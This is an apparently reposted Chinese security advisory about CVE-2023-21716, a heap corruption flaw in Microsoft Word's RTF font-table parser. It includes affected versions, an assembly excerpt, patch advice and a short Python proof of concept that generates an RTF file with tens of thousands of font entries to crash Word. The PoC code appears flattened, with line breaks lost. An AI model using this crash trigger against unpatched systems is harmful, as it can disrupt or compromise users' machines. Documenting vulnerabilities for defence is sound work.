当前位置: 首页 > news >正文

Microsoft Word 远程代码执行漏洞(CVE-2023-21716)

本文转载于:
https://mp.weixin.qq.com/s?__biz=MzI5NTUzNzY3Ng==&mid=2247485476&idx=1&sn=eee5c7fd1c4855be6441b8933b10051e&chksm=ec535547db24dc516d013d3d76097e985aaad7f10f82f15b4e355a97af75fd333acdab6232af&mpshare=1&scene=23&srcid=03132cVLSBcqUx3ZIkRZSiLq&sharer_sharetime=1678687529943&sharer_shareid=e065963f591f1d96b07207551473e96d#rd

免责声明
本文发布的工具和脚本,仅用作测试和学习研究,禁止用于商业用途,不能保证其合法性,准确性,完整性和有效性,请根据情况自行判断。
如果任何单位或个人认为该项目的脚本可能涉嫌侵犯其权利,则应及时通知并提供身份证明,所有权证明,我们将在收到认证文件后删除相关内容。
文中所涉及的技术、思路及工具等相关知识仅供安全为目的的学习使用,任何人不得将其应用于非法用途及盈利等目的,间接使用文章中的任何工具、思路及技术,我方对于由此引起的法律后果概不负责。

漏洞简述

Microsoft Word是Microsoft Office附带的文字处理应用程序。在默认安装中,Microsoft Word处理富文本格式(RTF)文档。这些文档主要由基于7位ASCII的关键字组成,这些关键字一起可以封装各种丰富的内容。
Microsoft Word中的RTF解析器在处理包含过多字体 (\f###) 的字体表 (*\fonttbl *)时会触发堆损坏漏洞。

受影响版本

Microsoft Office 365 (Insider Preview - 2211 Build 15831.20122 CTR)
Microsoft Office 2016 (Including Insider Slow - 1704 Build 8067.2032 CTR)
Microsoft Office 2013
Microsoft Office 2010
Microsoft Office 2007

漏洞信息

堆溢出漏洞产生点在于:Microsoft Word中的RTF解析器在处理字体表(\fonttbl)包含过量字体(\f###)。当处理字体时,字体id值(a \f后面的字符)由以下代码处理:

{% highlight asm %} 0d6cf0b6 0fbf0e movsx ecx,word ptr [esi] ; 
load base idx 0d6cf0b9 0fbf5602 movsx edx,word ptr [esi+2] ; 
load font idx 0d6cf0bd 8d1451 lea edx,[ecx+edx2] ; 
multiply by ~3 0d6cf0c0 668b08 mov cx,word ptr [eax] ; 
load the codepage value 0d6cf0c3 66894c5604 mov word ptr [esi+edx2+4],cx ; 
write the code page {% endhighlight %}

漏洞防护

目前微软官方已针对受支持的产品版本发布了修复该漏洞的安全补丁,建议受影响用户开启系统自动更新安装补丁进行防护。

测试Tips

python3

#!/usr/bin/python
#
# PoC for:
# Microsoft Word RTF Font Table Heap Corruption Vulnerability
#
# by Joshua J. Drake (@jduck)
#import sys# allow overriding the number of fonts
num = 32761
if len(sys.argv) > 1:num = int(sys.argv[1])f = open("tezt.rtf", "wb")
f.write("{\\rtf1{\n{\\fonttbl")
for i in range(num):f.write("{\\f%dA;}\n" % i)
f.write("}\n")
f.write("{\\rtlch it didn't crash?? no calc?! BOO!!!}\n")
f.write("}}\n")
f.close()
http://www.lryc.cn/news/39465.html

相关文章:

  • Android kotlin 系列讲解(数据篇)SharedPreferences存储及测试
  • 一文了解Web Worker
  • 接口文档包含哪些内容?怎么才能写好接口文档?十年测试老司机来告诉你
  • java面试八股文之------Java并发夺命23问
  • CANoe中使用CAPL刷写流程详解(Trace图解)(CAN总线)
  • 【MySQL】002 -- 日志系统:一条SQL更新语句是如何执行的
  • C++---背包模型---数字组合(每日一道算法2023.3.14)
  • 并查集(不相交集)详解
  • 10个最频繁用于解释机器学习模型的 Python 库
  • final关键字:我偏不让你继承
  • 8大主流编程语言的适用领域,你可能选错了语言
  • 关于Python库的问题
  • 好记性不如烂笔头(2)
  • Java for循环嵌套for循环,你需要懂的代码性能优化技巧
  • 关于我拒绝了腾讯测试开发岗offer这件事
  • 从GPT到GPT-3:自然语言处理领域的prompt方法
  • Git代码提交规范
  • 【JavaScript速成之路】JavaScript内置对象--Math和Date对象
  • (自用POC)Fortinet-CVE-2022-40684
  • ConvNeXt V2实战:使用ConvNeXt V2实现图像分类任务(二)
  • 【人工智能与深度学习】基于正则化潜在可变能量的模型
  • 【Leetcode——排序的循环链表】
  • ChatGPT研究分享:机器第一次开始理解人类世界目录
  • 【linux】Linux基本指令(上)
  • 程序员必会技能—— 使用日志
  • 生成项目的包依赖文件requirements.txt
  • 安卓渐变的背景框实现
  • 【拳打蓝桥杯】算法前置课——时间复杂度与空间复杂度
  • vite中动态引入图片,打包之后找不到图片地址?
  • Docker 常用命令大全